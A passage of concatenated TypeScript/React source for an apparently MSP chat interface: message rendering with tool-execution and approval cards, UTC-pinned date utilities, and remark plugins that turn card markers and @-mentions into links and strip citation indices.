Sizing rationale (per design-token measurements):\n                - Name uses `text-h3` = 14px mobile / 18px desktop.\n                - Avatar uses `SquareAvatar size=\"sm\"` = 32px — the\n                  canonical primitive at the smallest preset, giving a\n                  ~1.78x ratio against the 18px name text (Material\n                  Design 3 + Apple HIG inline-avatar standard).\n                - Gap is `var(--spacing-system-xs)` = 8px, the standard\n                  inline-component separator across this design system.\n              For the `assistantIcon` branch (host supplies a JSX icon\n              like the Mingo logo), the wrapper matches `SquareAvatar\n              size=\"sm\"` (h-8 w-8 = 32px) so BOTH branches present at\n              the same visual weight. Host-supplied icons render\n              inside via `flex items-center justify-center` — they\n              should be sized at ~50-60% of the wrapper (h-4 w-4 =\n              16px works well for a 32px circle). */}\n          <div className=\"flex items-center gap-[var(--spacing-system-xs)]\">\n            {/* Avatar rules:\n                - Assistant/Fae always show an avatar — host brand icon when no\n                  image is supplied, else the filled SquareAvatar.\n                - User shows the SquareAvatar ONLY when an avatar image actually\n                  arrived. With no user avatar we hide the block entirely (just\n                  the name), instead of an initials placeholder. TEMPORARY —\n                  restore the user placeholder when user avatars ship. */}\n            {showAvatar && !isSystem && !(isUser && !avatar) && (\n              !isUser && assistantIcon && !avatar ? (\n                // Host-supplied brand icon (e.g. Mingo): render it directly,\n                // no filled pill — the icon carries its own brand accent.\n                <div className=\"flex items-center justify-center flex-shrink-0\">\n                  {assistantIcon}\n                </div>\n              ) : (\n                <SquareAvatar {...avatarProps} />\n              )\n            )}\n            <span className={cn(\n              \"text-h3 !font-mono !font-medium flex-1\",\n              authorType === 'system' ? \"text-ods-open-yellow\" :\n              authorType === 'admin' ? \"text-ods-open-yellow\" :\n              authorType === 'mingo' ? \"text-ods-flamingo-cyan\" :\n              authorType === 'fae' ? \"text-ods-flamingo-pink\" :\n              \"text-ods-text-secondary\"\n            )}>\n              {name || (isUser ? \"User\" : assistantType === 'mingo' ? \"Mingo\" : \"Fae\")}{!isSystem && ':'}\n            </span>\n            {timestamp && (\n              <span className=\"text-h6 text-ods-text-secondary shrink-0 whitespace-nowrap\">\n                {formatMessageTimestamp(timestamp)}\n              </span>\n            )}\n          </div>\n          \n          {/* Message segments — hidden for system messages without content */}\n          {(!isSystem || segments.length > 0) && <div className=\"flex flex-col gap-2\">\n            {segments.map((segment, index) => {\n                // The engine's streaming path (atomic-block memoization +\n                // fence tail-completion + aria-live) applies ONLY to the\n                // actively streaming segment: last segment of a message that\n                // is still typing. On completion `isTyping` flips false and\n                // the engine does one authoritative whole-document parse.\n                const segmentIsStreaming = index === segments.length - 1 && !!isTyping\n                if (segment.type === 'text') {\n                  return (\n                    <div\n                      key={index}\n                      className={cn(\n                        \"min-w-0 w-full break-words text-h4\",\n                        isError ? \"text-ods-error\" : \"text-ods-text-primary\",\n                      )}\n                    >\n                      {renderSegmentBody(index, segment.text, segmentIsStreaming)}\n                    </div>\n                  )\n                } else if (segment.type === 'guide') {\n                  return (\n                    <GuideDisplay key={index}>\n                      {renderSegmentBody(index, segment.text, segmentIsStreaming)}\n                    </GuideDisplay>\n                  )\n                } else if (segment.type === 'ask') {\n                  // Only the run's head draws — the tail segments are pages of\n                  // the card already rendered above them.\n                  const run = askRuns.get(index)\n                  if (!run) return null\n                  return <AskDisplay key={index} cards={run} onSelect={onAskSelect} />\n                } else if (segment.type === 'tool_execution') {\n                  return (\n                    <ToolExecutionDisplay\n                      key={index}\n                      message={segment.data}\n                      assistantType={assistantType}\n                      variant={approvalVariant}\n                    />\n                  )\n                } else if (segment.type === 'approval_request') {\n                  return (\n                    <ApprovalRequestMessage\n                      key={index}\n                      data={segment.data}\n                      status={segment.status}\n                      resolvedByName={segment.resolvedByName}\n                      onApprove={segment.onApprove}\n                      onReject={segment.onReject}\n                      assistantType={assistantType}\n                      variant={approvalVariant}\n                    />\n                  )\n                } else if (segment.type === 'approval_batch') {\n                  return (\n                    <ApprovalBatchMessage\n                      key={index}\n                      data={segment.data}\n                      status={segment.status}\n                      resolvedByName={segment.resolvedByName}\n                      onApprove={segment.onApprove}\n                      onReject={segment.onReject}\n                      assistantType={assistantType}\n                      variant={approvalVariant}\n                    />\n                  )\n                } else if (segment.type === 'escalation_offer') {\n                  return (\n                    <EscalationOfferMessage\n                      key={index}\n                      data={segment.data}\n                      status={segment.status}\n                      resolvedByName={segment.resolvedByName}\n                      onApprove={segment.onApprove}\n                      onReject={segment.onReject}\n                    />\n                  )\n                } else if (segment.type === 'ticket_escalated') {\n                  return <TicketEscalatedMessage key={index} data={segment.data} timestamp={timestamp} />\n                } else if (segment.type === 'ticket_event') {\n                  // The card's own event time; the bubble timestamp is the\n                  // turn's FIRST row and lags every later lifecycle event.\n                  return <TicketEventMessage key={index} data={segment.data} timestamp={segment.occurredAt ?? timestamp} />\n                } else if (segment.type === 'error') {\n                  return (\n                    <ErrorMessageDisplay\n                      key={index}\n                      title={segment.title}\n                      details={segment.details}\n                    />\n                  )\n                } else if (segment.type === 'context_compaction') {\n                  return (\n                    <ContextCompactionDisplay\n                      key={index}\n                      status={segment.status}\n                    />\n                  )\n                } else if (segment.type === 'thinking') {\n                  const isStreaming = index === segments.length - 1 && isTyping\n                  return (\n                    <ThinkingDisplay\n                      key={index}\n                      text={segment.text}\n                      isStreaming={isStreaming}\n                    />\n                  )\n                }\n                return null\n              })}\n          </div>}\n\n          {/* Attached entity-context chips (user bubbles). Read-only — no\n              remove affordance once the message is sent (Figma 31:28709). */}\n          {stripContextItems && stripContextItems.length > 0 && (\n            <ChatContextChipStrip\n              items={stripContextItems}\n              resolveIcon={resolveContextIcon}\n              renderItem={renderContextItem}\n              className=\"mt-2\"\n            />\n          )}\n        </div>\n      </div>\n    )\n  }\n)\n\nChatMessageEnhanced.displayName = \"ChatMessageEnhanced\"\n\nconst MemoizedChatMessageEnhanced = memo(ChatMessageEnhanced, (prevProps, nextProps) => {\n  return (\n    prevProps.role === nextProps.role &&\n    prevProps.content === nextProps.content &&\n    prevProps.name === nextProps.name &&\n    prevProps.avatar === nextProps.avatar &&\n    prevProps.isTyping === nextProps.isTyping &&\n    prevProps.timestamp?.getTime() === nextProps.timestamp?.getTime() &&\n    prevProps.showAvatar === nextProps.showAvatar &&\n    prevProps.assistantType === nextProps.assistantType &&\n    prevProps.approvalVariant === nextProps.approvalVariant &&\n    prevProps.authorType === nextProps.authorType &&\n    prevProps.assistantIcon === nextProps.assistantIcon &&\n    prevProps.className === nextProps.className &&\n    // Reference equality — the host re-uses the same array instance per\n    // message (it's set once on the optimistic send and never mutated).\n    prevProps.contextItems === nextProps.contextItems &&\n    prevProps.resolveContextIcon === nextProps.resolveContextIcon &&\n    prevProps.renderContextItem === nextProps.renderContextItem &&\n    // Host keeps this stable (module const / useCallback), so reference\n    // equality holds across streaming chunks.\n    prevProps.renderMention === nextProps.renderMention &&\n    prevProps.renderEntityCard === nextProps.renderEntityCard &&\n    // Same stability contract as the renderers above: hosts pass a `useCallback`\n    // (EmbeddableChat passes its memoized `handleSend`), so this holds across\n    // streaming chunks instead of re-rendering every ask card per chunk.\n    prevProps.onAskSelect === nextProps.onAskSelect &&\n    prevProps.NavLinkAnchor === nextProps.NavLinkAnchor\n  )\n})\n\nMemoizedChatMessageEnhanced.displayName = \"MemoizedChatMessageEnhanced\"\n\nexport { MemoizedChatMessageEnhanced as ChatMessageEnhanced }","/**\n * Unified Date Utilities for OpenMSP Platform\n * Provides consistent date formatting across all components\n */\n\n/**\n * Relative display label for a ticket timestamp (ISO string).\n * < 1 min → \"Just now\" | 1-59 min → \"X min ago\" | 1-23 h → \"X hour(s) ago\" | 24+ h → \"MM/DD/YYYY\"\n */\nexport function formatTicketRelativeTime(iso: string): string {\n  const now = new Date()\n  const date = new Date(iso)\n  if (Number.isNaN(date.getTime())) return ''\n  const diffMs = now.getTime() - date.getTime()\n  const diffMin = Math.floor(diffMs / 60_000)\n  if (diffMin < 1) return 'Just now'\n  if (diffMin < 60) return `${diffMin} min ago`\n  const diffHours = Math.floor(diffMin / 60)\n  if (diffHours < 24) return diffHours === 1 ? '1 hour ago' : `${diffHours} hours ago`\n  // UTC getters so the MM/DD/YYYY tail is identical on server (UTC) and client\n  // (local) — otherwise React #418 hydration mismatch.\n  const mm = String(date.getUTCMonth() + 1).padStart(2, '0')\n  const dd = String(date.getUTCDate()).padStart(2, '0')\n  const yyyy = date.getUTCFullYear()\n  return `${mm}/${dd}/${yyyy}`\n}\n\n/**\n * Full tooltip timestamp in \"MM/DD/YYYY, H:MM AM/PM\" format.\n */\nexport function formatTicketFullTimestamp(iso: string): string {\n  const date = new Date(iso)\n  if (Number.isNaN(date.getTime())) return ''\n  // UTC getters so the tooltip timestamp is identical on server (UTC) and\n  // client (local) — otherwise React #418 hydration mismatch.\n  const mm = String(date.getUTCMonth() + 1).padStart(2, '0')\n  const dd = String(date.getUTCDate()).padStart(2, '0')\n  const yyyy = date.getUTCFullYear()\n  let hours = date.getUTCHours()\n  const minutes = String(date.getUTCMinutes()).padStart(2, '0')\n  const ampm = hours >= 12 ? 'PM' : 'AM'\n  hours = hours % 12 || 12\n  return `${mm}/${dd}/${yyyy}, ${hours}:${minutes} ${ampm}`\n}\n\n/**\n * Format relative time from ISO timestamp\n * This is the single source of truth for all relative time formatting\n * \n * @param timestamp - ISO timestamp string or Date object\n * @returns Formatted relative time string\n * \n * @example\n * formatRelativeTime('2024-01-01T12:00:00Z') // '2 hours ago'\n * formatRelativeTime(new Date()) // 'Just now'\n */\nexport function formatRelativeTime(timestamp: string | Date): string {\n  const now = new Date();\n  const targetTime = typeof timestamp === 'string' ? new Date(timestamp) : timestamp;\n  \n  // Validate the date\n  if (isNaN(targetTime.getTime())) {\n    console.warn('⚠️ Invalid timestamp in formatRelativeTime:', timestamp);\n    return 'Unknown time';\n  }\n  \n  const diffInMs = now.getTime() - targetTime.getTime();\n  const diffInMinutes = Math.floor(diffInMs / (1000 * 60));\n  \n  // Handle future dates (should not happen but graceful fallback)\n  if (diffInMinutes < 0) {\n    return 'Just now';\n  }\n  \n  // Less than 1 minute\n  if (diffInMinutes < 1) return 'Just now';\n  \n  // 1-59 minutes\n  if (diffInMinutes < 60) return `${diffInMinutes}m ago`;\n  \n  // 1-23 hours  \n  const diffInHours = Math.floor(diffInMinutes / 60);\n  if (diffInHours < 24) return `${diffInHours}h ago`;\n  \n  // 1-6 days\n  const diffInDays = Math.floor(diffInHours / 24);\n  if (diffInDays < 7) return `${diffInDays}d ago`;\n  \n  // 1-4 weeks\n  if (diffInDays < 30) {\n    const weeks = Math.floor(diffInDays / 7);\n    return `${weeks}w ago`;\n  }\n  \n  // Older than 30 days - show formatted date, pinned to UTC so SSR (UTC) and\n  // the client agree (React #418). Year comparison also uses UTC for the same\n  // reason (avoids a server/client split right at a year boundary).\n  return targetTime.toLocaleDateString('en-US', {\n    month: 'short',\n    day: 'numeric',\n    year: targetTime.getUTCFullYear() !== now.getUTCFullYear() ? 'numeric' : undefined,\n    timeZone: 'UTC',\n  });\n}\n\n/**\n * Format absolute date for display\n * \n * @param timestamp - ISO timestamp string or Date object\n * @param options - Intl.DateTimeFormatOptions for customization\n * @returns Formatted date string\n */\nexport function formatAbsoluteDate(\n  timestamp: string | Date,\n  options: Intl.DateTimeFormatOptions = {}\n): string {\n  const targetTime = typeof timestamp === 'string' ? new Date(timestamp) : timestamp;\n  \n  if (isNaN(targetTime.getTime())) {\n    console.warn('⚠️ Invalid timestamp in formatAbsoluteDate:', timestamp);\n    return 'Invalid date';\n  }\n  \n  const defaultOptions: Intl.DateTimeFormatOptions = {\n    year: 'numeric',\n    month: 'short',\n    day: 'numeric',\n    // Pin to UTC so SSR (Vercel = UTC) and the client agree (React #418).\n    // Caller can override via `options`.\n    timeZone: 'UTC',\n    ...options\n  };\n\n  return targetTime.toLocaleDateString('en-US', defaultOptions);\n}\n\n/**\n * Format timestamp with time included\n * \n * @param timestamp - ISO timestamp string or Date object\n * @param options - Intl.DateTimeFormatOptions for customization\n * @returns Formatted datetime string\n */\nexport function formatDateTime(\n  timestamp: string | Date,\n  options: Intl.DateTimeFormatOptions = {}\n): string {\n  const targetTime = typeof timestamp === 'string' ? new Date(timestamp) : timestamp;\n  \n  if (isNaN(targetTime.getTime())) {\n    console.warn('⚠️ Invalid timestamp in formatDateTime:', timestamp);\n    return 'Invalid date';\n  }\n  \n  const defaultOptions: Intl.DateTimeFormatOptions = {\n    year: 'numeric',\n    month: 'short',\n    day: 'numeric',\n    hour: 'numeric',\n    minute: '2-digit',\n    // Pin to UTC so SSR (Vercel = UTC) and the client agree (React #418).\n    // Caller can override via `options`.\n    timeZone: 'UTC',\n    ...options\n  };\n\n  return targetTime.toLocaleDateString('en-US', defaultOptions);\n}\n\n/**\n * Get time difference in human readable format (detailed)\n * \n * @param timestamp - ISO timestamp string or Date object\n * @returns Detailed time difference string\n */\nexport function getDetailedTimeDifference(timestamp: string | Date): string {\n  const now = new Date();\n  const targetTime = typeof timestamp === 'string' ? new Date(timestamp) : timestamp;\n  \n  if (isNaN(targetTime.getTime())) {\n    return 'Invalid date';\n  }\n  \n  const diffInMs = now.getTime() - targetTime.getTime();\n  const diffInSeconds = Math.floor(diffInMs / 1000);\n  const diffInMinutes = Math.floor(diffInSeconds / 60);\n  const diffInHours = Math.floor(diffInMinutes / 60);\n  const diffInDays = Math.floor(diffInHours / 24);\n  \n  if (diffInSeconds < 60) return `${diffInSeconds} seconds ago`;\n  if (diffInMinutes < 60) return `${diffInMinutes} minutes ago`;\n  if (diffInHours < 24) return `${diffInHours} hours ago`;\n  if (diffInDays < 30) return `${diffInDays} days ago`;\n  \n  const diffInMonths = Math.floor(diffInDays / 30);\n  if (diffInMonths < 12) return `${diffInMonths} months ago`;\n  \n  const diffInYears = Math.floor(diffInDays / 365);\n  return `${diffInYears} years ago`;\n}\n\n/**\n * Check if a timestamp is today\n */\nexport function isToday(timestamp: string | Date): boolean {\n  const today = new Date();\n  const targetTime = typeof timestamp === 'string' ? new Date(timestamp) : timestamp;\n  \n  return today.toDateString() === targetTime.toDateString();\n}\n\n/**\n * Check if a timestamp is within the last N minutes\n */\nexport function isWithinMinutes(timestamp: string | Date, minutes: number): boolean {\n  const now = new Date();\n  const targetTime = typeof timestamp === 'string' ? new Date(timestamp) : timestamp;\n  const diffInMs = now.getTime() - targetTime.getTime();\n  const diffInMinutes = diffInMs / (1000 * 60);\n  \n  return diffInMinutes <= minutes && diffInMinutes >= 0;\n}\n\n/**\n * Create a UTC timestamp string for database insertion\n */\nexport function createUTCTimestamp(): string {\n  return new Date().toISOString();\n} ","\"use client\"\n\nimport { forwardRef, useMemo, useState } from \"react\"\n\nimport { cn } from \"../../utils/cn\"\nimport { CheckCircleIcon, DotsLoaderIcon, XmarkCircleIcon } from \"../icons-v2-generated\"\nimport { ToolType } from \"../platform\"\nimport { ToolIcon } from \"../tool-icon\"\nimport { ExpandChevron } from \"./expand-chevron\"\nimport { useCollapsible } from \"./hooks/use-collapsible\"\nimport { ArgRow, ResultBlock } from \"./tool-call-blocks\"\nimport { COMMAND_BODY_ARG_KEYS } from \"./utils/tool-call-helpers\"\nimport type { ToolExecutionDisplayProps } from \"./types\"\n\nconst COMMAND_BODY_KEYS = new Set<string>(COMMAND_BODY_ARG_KEYS)\n\nconst ToolExecutionDisplay = forwardRef<HTMLDivElement, ToolExecutionDisplayProps>(\n  ({ className, message, assistantType, variant = \"admin\", ...props }, ref) => {\n    const [expanded, setExpanded] = useState(false)\n    const { innerRef, containerStyle } = useCollapsible({ expanded })\n    const isClient = assistantType === \"fae\"\n    // Render audience (consumer-declared, NOT `assistantType`). The end-client\n    // Fae app (`'client'`) gets a static, non-expandable row — just the\n    // explanation + status; the command/args/result are admin-only detail the\n    // end user doesn't need. Every admin surface keeps the expandable accordion.\n    const isClientView = variant === \"client\"\n\n    const isExecuting = message.type === \"EXECUTING_TOOL\"\n    const isExecuted = message.type === \"EXECUTED_TOOL\"\n    const integratedToolType = (message.integratedToolType as ToolType) || (\"OPENFRAME\" as ToolType)\n\n    // Header text depends on the render audience (the consumer-declared\n    // `variant`, NOT `assistantType`: a ticket's Fae client tab on the admin\n    // dashboard is still `assistantType === 'fae'`). The end-client Fae app\n    // (`variant === 'client'`) reads the human-readable explanation (what/why);\n    // every admin surface reads the concise BE-provided title. Each falls back\n    // to the other when its preferred field is absent (older backends /\n    // EXECUTED rows).\n    const previewText =\n      variant === \"client\"\n        ? message.toolExplanation?.trim()\n        : message.toolTitle?.trim()\n\n    const argEntries = useMemo<Array<[string, unknown]>>(() => {\n      if (!message.parameters || typeof message.parameters !== \"object\") return []\n      const entries = Object.entries(message.parameters).filter(\n        ([, v]) => v !== null && v !== undefined && v !== \"\",\n      )\n      // The end client (Fae app) never sees the raw command/query/script body —\n      // only the secondary args. Every admin surface DOES: surface the command\n      // body first (as a labeled `command:` row), then the rest of the args.\n      if (variant === \"client\") {\n        return entries.filter(([k]) => !COMMAND_BODY_KEYS.has(k))\n      }\n      const commandEntries = entries.filter(([k]) => COMMAND_BODY_KEYS.has(k))\n      const otherEntries = entries.filter(([k]) => !COMMAND_BODY_KEYS.has(k))\n      return [...commandEntries, ...otherEntries]\n    }, [message.parameters, variant])\n\n    const hasResult = isExecuted && typeof message.result === \"string\" && message.result.length > 0\n    const hasBody = argEntries.length > 0 || hasResult || isExecuting\n\n    const renderStatusIcon = () => {\n      if (isExecuting) return <DotsLoaderIcon size={16} className=\"text-ods-text-secondary\" />\n      if (isExecuted && message.success === true) return <CheckCircleIcon className=\"w-4 h-4 text-ods-success\" />\n      if (isExecuted && message.success === false) return <XmarkCircleIcon className=\"w-4 h-4 text-ods-error\" />\n      return null\n    }\n\n    const headerContent = (\n      <>\n        {!isClient && (\n          <div className=\"flex items-center justify-center shrink-0 w-5 h-5\">\n            <ToolIcon toolType={integratedToolType} size={16} />\n          </div>\n        )}\n        <div\n          className={cn(\n            \"flex-1 min-w-0 text-h6\",\n            isClientView\n              ? \"text-ods-text-primary whitespace-pre-wrap break-words\"\n              : expanded\n                ? \"text-ods-text-primary whitespace-pre-wrap break-all\"\n                : \"text-ods-text-secondary line-clamp-2 max-h-10 break-all\",\n          )}\n        >\n          {previewText}\n        </div>\n        <div className=\"flex items-center justify-center shrink-0 w-5 h-5\">{renderStatusIcon()}</div>\n        {!isClientView && (\n          <div className=\"flex items-center justify-center shrink-0 w-5 h-5\">\n            <ExpandChevron expanded={expanded} />\n          </div>\n        )}\n      </>\n    )\n\n    return (\n      <div\n        ref={ref}\n        className={cn(\n          // The command running block keeps its bordered box in both chats\n          // (Figma 1972-6109). CLIENT (Fae) only drops the tool icon below.\n          \"bg-ods-card border border-ods-border rounded-[6px] overflow-hidden w-full flex flex-col\",\n          className,\n        )}\n        {...props}\n      >\n        {isClientView ? (\n          // Client (Fae end-user): static, non-expandable row — no chevron, no\n          // body. Just the explanation + status; command/args/result are hidden.\n          <div className=\"flex gap-[var(--spacing-system-xs)] items-start p-[var(--spacing-system-s)] w-full text-left\">\n            {headerContent}\n          </div>\n        ) : (\n          <>\n            <button\n              type=\"button\"\n              className=\"flex gap-[var(--spacing-system-xs)] items-start p-[var(--spacing-system-s)] cursor-pointer text-left w-full\"\n              onClick={() => setExpanded((prev) => !prev)}\n            >\n              {headerContent}\n            </button>\n\n            <div className=\"w-full\" style={containerStyle}>\n              <div ref={innerRef}>\n                {hasBody && (\n                  <div className=\"flex flex-col gap-0 items-start w-full text-h6 p-[var(--spacing-system-sf)] bg-ods-card\">\n                    {argEntries.map(([key, value]) => (\n                      <ArgRow key={key} argKey={key} value={value} />\n                    ))}\n                    {hasResult && (\n                      <ResultBlock\n                        result={message.result}\n                        className={argEntries.length > 0 ? \"mt-[var(--spacing-system-xsf)]\" : undefined}\n                      />\n                    )}\n                    {isExecuting && (\n                      <div\n                        className={cn(\n                          \"flex flex-col gap-[var(--spacing-system-xxs)] items-start w-full\",\n                          argEntries.length > 0 && \"mt-[var(--spacing-system-xsf)]\",\n                        )}\n                      >\n                        <span className=\"text-ods-text-secondary\">Result:</span>\n                        <DotsLoaderIcon size={16} className=\"text-ods-text-secondary\" />\n                      </div>\n                    )}\n                  </div>\n                )}\n              </div>\n            </div>\n          </>\n        )}\n      </div>\n    )\n  },\n)\n\nToolExecutionDisplay.displayName = \"ToolExecutionDisplay\"\n\nexport { ToolExecutionDisplay }\n","/**\n * Remark plugin that walks markdown text leaves and replaces `[card://<type>:<id>]`\n * patterns with synthetic `link` mdast nodes. The link's `url` is the literal\n * `card://<type>:<id>` (a non-standard scheme) so the downstream `<a>`\n * component override can detect it and delegate rendering to the host's\n * `renderEntityCard` callback (see `chat-message-enhanced.tsx`).\n *\n * Why a remark plugin (NOT a regex on the raw markdown source):\n *   - Preserves bold / italic / list / code wrapping around the marker.\n *     `**The [card://webinar:42] discussed pricing**` keeps the bold span\n *     because the plugin only splits TEXT leaves; the strong wrapper is\n *     untouched.\n *   - No clash with rehype-raw — the marker disappears before the HTML pass.\n *\n * Per v6.1 §B.2.6: \"implement as a `react-markdown` `components.text` override\n * OR a remark plugin. NOT a regex-on-raw-text pre-pass (which loses formatting).\"\n *\n * Regex shape: `[a-zA-Z0-9_-]+` for both type and id. Tolerates snake_case\n * AND kebab-case so it matches whatever `documentType` value the LLM echoes\n * from the server snapshot (e.g. `customer_interview` from the config vs\n * `customer-interview` if a future config switches conventions).\n */\n\nimport type { Plugin } from \"unified\"\nimport type { Root, Text, Link } from \"mdast\"\nimport { visit, SKIP } from \"unist-util-visit\"\n\n// Closing bracket is `]` per spec, but tolerate `)` as well — the LLM\n// occasionally drifts to `)` after long dashed UUID ids (bracket-balancing\n// noise on opaque tokens; reproduced in production with podcast UUIDs).\n// The `[card://` open is the load-bearing signature; if the open matches,\n// treat trailing `)` as `]`. `[card://type:id)` is not valid markdown\n// syntax anywhere else (regular links use `[text](url)`, not `[text)`),\n// so widening the closer has zero false-positive risk.\nconst CARD_REGEX = /\\[card:\\/\\/([a-zA-Z0-9_-]+):([a-zA-Z0-9_-]+)[\\])]/g\n\nexport const remarkCardLinks: Plugin<[], Root> = () => {\n  return (tree: Root) => {\n    visit(tree, \"text\", (node: Text, index, parent) => {\n      if (!parent || typeof index !== \"number\") return\n      const text = node.value\n      if (!text || !text.includes(\"[card://\")) return\n\n      // Walk the regex and split the text into a sequence of text + link nodes.\n      // The link's `children` carry the original literal so unresolved-marker\n      // fallbacks (host renderer produced nothing) render the literal text\n      // instead of a broken anchor.\n      const parts: Array<Text | Link> = []\n      let lastIndex = 0\n      // Reset the regex lastIndex for each invocation — `g` flag carries state.\n      CARD_REGEX.lastIndex = 0\n      let match: RegExpExecArray | null\n      while ((match = CARD_REGEX.exec(text)) !== null) {\n        const matchStart = match.index\n        if (matchStart > lastIndex) {\n          parts.push({ type: \"text\", value: text.slice(lastIndex, matchStart) })\n        }\n        const cardType = match[1]\n        const cardId = match[2]\n        parts.push({\n          type: \"link\",\n          url: `card://${cardType}:${cardId}`,\n          // Keep the raw marker as the visible text so unknown-ref renderers\n          // can fall back to title-only formatting (the chat-side override\n          // looks up refs by url and replaces children when found).\n          children: [{ type: \"text\", value: match[0] }],\n        })\n        lastIndex = matchStart + match[0].length\n      }\n      if (lastIndex === 0) return // no matches\n\n      if (lastIndex < text.length) {\n        parts.push({ type: \"text\", value: text.slice(lastIndex) })\n      }\n\n      // Replace the original text node in-place. Skip past the inserted nodes\n      // so the visitor doesn't recurse into them (the new text leaves can't\n      // contain the marker by construction; skipping is a safety net).\n      parent.children.splice(index, 1, ...parts)\n      return [SKIP, index + parts.length]\n    })\n  }\n}\n","/**\n * Remark plugin that strips bare numeric citation tokens — `[1]`,\n * `[2, 3]` — from assistant chat markdown.\n *\n * RAG models habitually cite retrieved sources with bracketed indices\n * next to entity mentions (`[card://delivery_item:x] [1] **Title**`).\n * The chat surfaces sources as chips and entities as inline cards, so\n * the naked indices are pure noise — and when a card fetch misses they\n * were the ONLY thing left on the line (observed live: candidate lists\n * rendering as \"[1]\" + bold title).\n *\n * Deliberately conservative:\n *   - text leaves only (code/inline-code nodes are never visited);\n *   - 1–2 digit indices, optionally comma-separated;\n *   - the token must be delimiter-bounded on BOTH sides (start/whitespace\n *     before; whitespace/punctuation/end after) so technical prose like\n *     `array[1]` or `foo[12]bar` is untouched.\n */\n\nimport type { Plugin } from \"unified\"\nimport type { Root, Text } from \"mdast\"\nimport { visit } from \"unist-util-visit\"\n\nconst CITATION_REGEX = /(^|\\s)\\[\\d{1,2}(?:\\s*,\\s*\\d{1,2})*\\](?=[\\s.,;:!?)\\]]|$)/g\n\nexport const remarkStripCitations: Plugin<[], Root> = () => {\n  return (tree: Root) => {\n    visit(tree, \"text\", (node: Text) => {\n      if (!node.value || !node.value.includes(\"[\")) return\n      const withoutCitations = node.value.replace(CITATION_REGEX, \"$1\")\n      // No citation matched → leave the node untouched, INCLUDING its\n      // whitespace (collapsing unconditionally would rewrite deliberate\n      // spacing in prose like `array[1]  value`).\n      if (withoutCitations === node.value) return\n      // Collapse doubled spaces the removal can leave mid-sentence.\n      node.value = withoutCitations.replace(/ {2,}/g, \" \")\n    })\n  }\n}\n","/**\n * Remark plugin that walks markdown text leaves and replaces inline entity\n * mentions `@<marker>:<id>` (e.g. `@device:64f0a1`, `@kb:5`) with synthetic\n * `link` mdast nodes whose `url` is `mention://<marker>:<id>` (a non-standard\n * scheme). The downstream `<a>` component override in `chat-message-enhanced`\n * detects that scheme and renders an inline `<Tag>`-style chip, resolving the\n * display name from the message's `contextItems`.\n *\n * Sibling of `remark-card-links` (which handles the ASSISTANT-side\n * `[card://type:id]` markers). This one handles the USER-side `@marker:id`\n * tokens the composer commits when picking context via the `@`-mention flow.\n *\n * Why a remark plugin (NOT a regex on the raw markdown source): it splits only\n * TEXT leaves, so bold / italic / list / code wrappers around a mention stay\n * intact, and the marker disappears before any rehype-raw HTML pass.\n *\n * Grammar:\n *   - marker: `[a-zA-Z]+` — the backend `ContextItemType.marker()` short form\n *     (`device`, `script`, `ticket`, `organization`, `user`, `kb`, `policy`,\n *     `query`, `scheduledScript`, …). Mostly lowercase, but NOT guaranteed to be:\n *     the marker is matched verbatim by the backend's `MentionParser`, and\n *     `SCHEDULED_SCRIPT` ships as camelCase `scheduledScript` — a lowercase-only\n *     grammar silently dropped that whole token (no chip, raw text in the bubble).\n *   - id: charset `[A-Za-z0-9_.+/=-]` (UUIDs with hyphens, fleet numeric ids,\n *     base64 global ids, etc.; matches the composer's `MENTION_TOKEN`) — but the\n *     id may NOT END in `.` or `-`, so a trailing SENTENCE period/dash isn't\n *     swallowed into the id (`@script:38.` → id `38`, with the `.` left as text).\n *     Base64 padding `=` and `+`/`/` are still valid final chars.\n *   - A LEFT boundary (start-of-text or any non-word, non-`@` character) keeps\n *     `@marker:` from matching inside emails / mid-word (`user@host:1234` never\n *     starts a token because the `@` is preceded by a word char), while still\n *     firing when the agent wraps a mention in punctuation — parentheses,\n *     brackets, quotes — e.g. `(@device:64f0a1)`. The boundary character (if\n *     any) is captured as `lead` and re-emitted as text, so it is preserved.\n */\n\nimport type { Plugin } from 'unified'\nimport type { Root, Text, Link } from 'mdast'\nimport { visit, SKIP } from 'unist-util-visit'\n\nconst MENTION_REGEX = /(^|[^\\w@])@([a-zA-Z]+):([A-Za-z0-9_.+/=-]*[A-Za-z0-9_+/=])/g\n\nexport const remarkMentionChips: Plugin<[], Root> = () => {\n  return (tree: Root) => {\n    visit(tree, 'text', (node: Text, index, parent) => {\n      if (!parent || typeof index !== 'number') return\n      const text = node.value\n      if (!text || !text.includes('@')) return\n\n      const parts: Array<Text | Link> = []\n      let lastIndex = 0\n      MENTION_REGEX.lastIndex = 0\n      let match: RegExpExecArray | null\n      while ((match = MENTION_REGEX.exec(text)) !== null) {\n        const lead = match[1] // '' or the boundary char before '@' (space, '(', etc.)\n        const marker = match[2]\n        const id = match[3]\n        const tokenStart = match.index + lead.length // position of '@'\n        if (tokenStart > lastIndex) {\n          parts.push({ type: 'text', value: text.slice(lastIndex, tokenStart) })\n        }\n        parts.push({\n          type: 'link',\n          url: `mention://${marker}:${id}`,\n          // Keep the raw token as the visible children so an unresolved mention\n          // (no matching context item) falls back to the literal text.\n          children: [{ type: 'text', value: `@${marker}:${id}` }],\n        })\n        lastIndex = match.index + match[0].length\n      }\n      if (lastIndex === 0) return // no matches\n\n      if (lastIndex < text.length) {\n        parts.push({ type: 'text', value: text.slice(lastIndex) })\n      }\n\n      parent.children.splice(index, 1, ...parts)\n      return [SKIP, index + parts.length]\n    })\n  }\n}\n","\"use client\"\n\nimport React from 'react'\n\nexport interface BlockCardProps {\n  /** The inline pill rendered AT the marker position inside the\n   *  paragraph. Typically the existing compact entity card (e.g. the\n   *  56×56 thumbnail card for webinars / customer interviews). When\n   *  omitted, the marker is replaced by the ref title in a plain\n   *  inline `<span>`. */\n  inline?: React.ReactNode\n  /** The block-level content rendered as a SIBLING below the markdown\n   *  paragraph. Use for elements that cannot legally nest inside\n   *  `<p>` — `<div>`, `<header>`, `<EntityVideoSection>`, `<Video>`,\n   *  etc. The pre-scan in `chat-message-enhanced` extracts this and\n   *  appends it after the `<SimpleMarkdownRenderer>` output for the\n   *  containing segment, where block content is HTML-valid. */\n  children: React.ReactNode\n}\n\n/**\n * Sentinel wrapper for `renderEntityCard` returns whose payload is\n * block-level (divs / header / `<EntityVideoSection>` / `<Video>`) and\n * therefore cannot legally render inside the assistant message's\n * markdown paragraph.\n *\n * The chat renderer (`chat-message-enhanced.tsx`) does a pre-scan of\n * each `text` segment's `[card://type:id]` markers, calls\n * `renderEntityCard(ref)` for each, and detects `<BlockCard>` by React\n * element type identity. When detected:\n *   1. `inline` is placed AT the marker position inside the `<p>` —\n *      keeps the existing compact-card UX intact.\n *   